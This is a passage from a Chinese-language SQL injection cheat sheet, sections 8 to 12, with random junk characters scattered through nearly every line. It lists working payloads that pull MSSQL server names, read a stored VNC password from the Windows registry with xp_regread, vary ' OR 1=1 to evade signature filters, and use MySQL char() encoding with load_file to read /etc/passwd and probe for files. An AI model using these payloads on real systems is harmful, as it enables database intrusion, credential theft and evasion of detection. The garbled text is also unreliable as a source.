* \9 M/ V6 t% Y2 `5 k + a0 L' w! A- o" `" O: W8 H/ j8.服务器名字与配置- G: c2 z* ^" J5 w( X2 I
2 I. U; o/ B, A% l+ a
& ]* d. M0 X/ D; L [$ y7 t6 O$ D * L. P; o* v' ~5 c5 B1 D4 d- ' and 1 in (select @@servername)--" g) I9 A% {* e+ S
- ' and 1 in (select servername from master.sysservers)--1 a1 R0 j' V; c$ J) a( b& w5 n
# V7 h0 a9 z$ f- L4 B( Z. c
% e- H9 V3 N: s- O+ r; u& _% _ . E% c* F4 v+ h- q5 }9.从注册表中获取VNC密码 ) Q/ P- C+ k9 i& `/ U7 ?9 v J4 e7 M& f$ z* K# [1 O' m
- '; declare @out binary(8)" u5 H2 a/ `. L/ m6 W8 j5 }
- exec master..xp_regread2 P# G. v4 B3 `# V1 F3 d& C
- @rootkey = 'HKEY_LOCAL_MACHINE',$ w- x T( ?$ c2 _* m0 z) U+ B
- @key = 'SOFTWARE\ORL\WinVNC3\Default', /*VNC4路径略有不同 ( ?5 q7 e, Z; y7 v. H7 A- @value_name='password',& `+ f3 A" c# q
- @value = @out output 5 m4 g/ ?, ?* A9 i5 ]- select cast (@out as bigint) as x into TEMP-- ' _ Y4 a" R& t; u$ h- ' and 1 in (select cast(x as varchar) from temp)-- ) S% o: ]* r. f% M+ Z5 q+ {% u0 W% \0 i& C
$ H# u7 ` Y8 n/ J5 o1 z7 R. e c3 Q. i: M: t4 u
10.逃避标识部分信号 # x+ }5 C8 `! n" _ " T4 t$ g; v; v- Y6 f7 nEvading ' OR 1=1 Signature & P# Y! V( P7 g7 P9 k* F* P- ' OR 'unusual' = 'unusual' 0 r! o0 Z* B$ m1 l( b2 `; C- ' OR 'something' = 'some'+'thing'0 h5 d. [$ E# d# B& f
- ' OR 'text' = N'text' 5 c, E8 F) V; X: j7 M' \- ' OR 'something' like 'some%'1 c" g+ q! X, B) V g$ W
- ' OR 2 > 1 + m8 d$ q1 y% M) R0 R: Z/ j- ' OR 'text' > 't' # I- V& b4 N: H5 k- ' OR 'whatever' in ('whatever'), O% L, G7 a8 c* r; D
- ' OR 2 BETWEEN 1 and 3 9 o1 I+ Y9 k0 e/ j& E4 T1 R0 l" ?6 @+ }, a) D$ d
1 Y5 T" w4 `# l# I" A; e+ c: X : Q6 w; w6 o% V7 x5 n6 v3 X9 e. i 4 S3 M2 \: h2 T7 i- B1 f: j11.用Char()进行MYSQL输入确认欺骗 0 e- k2 x( j8 l8 b# b- e2 p/ D0 Y' f4 D$ @9 Q
不用引号注射(string = "%") 4 }3 B9 N7 \3 r$ e+ x2 H+ Z( N ! n- K' s) G f/ j: Y--> ' or username like char(37);% t# q1 L, U" o. c7 v# f
: |+ \3 h& y% H8 o, U2 d: t
用引号注射(string="root"):0 h8 i) h3 [( {
" O; g5 z5 L# C9 V; g
è ' union select * from users where login = char(114,111,111,116); 2 P! O3 E- c6 E! k% P7 r; wload files in unions (string = "/etc/passwd"):; W) b) a( t1 m
-->'unionselect 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; / q4 P' W/ i% F: T! o& FCheck for existing files (string = "n.ext"):6 ~$ k5 j) s% D
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); w( x6 W$ Q5 S) i
/ |1 d, J' n+ O- @5 \3 `8 u) \6 h3 D/ @6 v
: M( O1 ?0 E% i
- j9 O: a( D0 w; @- [8 A
}( ^6 ]! Z [$ L+ h6 @12. 用注释逃避标识部分信号& X1 k% K& |1 k